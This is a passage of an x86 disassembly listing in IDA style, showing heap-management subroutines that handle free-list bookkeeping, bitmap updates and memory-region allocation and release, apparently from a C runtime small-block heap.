		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD394
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD38C
		jnz	short loc_41ED67
		and	dword_4DD394, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD398
		mov	ecx, dword_4DD388
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD39C
		push	edi
		push	dword_4DD3A4
		call	near ptr 28C0000h
		nop
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD388, 10h
		mov	dword_4DD39C, eax
		mov	eax, dword_4DD398


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD39C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD3A4
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2820000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 2670C14h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD3A4
		nop
		call	near ptr 2810000h


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD398
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2670C14h
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE70, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE60
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 2820000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE60
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE60, 0
		jnz	short loc_41F296
		mov	off_43AE60, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE64, 0
		jnz	short loc_41F2BB
		mov	off_43AE64, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE64
		mov	[esi+4], eax
		mov	off_43AE64, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 2670DA8h


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE60
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 2810000h


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 2670DA8h
		nop
		cmp	off_43CE80, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE80, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE60
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD3A4
		nop
		call	near ptr 2810000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE70, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE64
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 2670DA8h
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE50
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE64
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE60
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE50
		cmp	dword_4DBE50, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE80
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
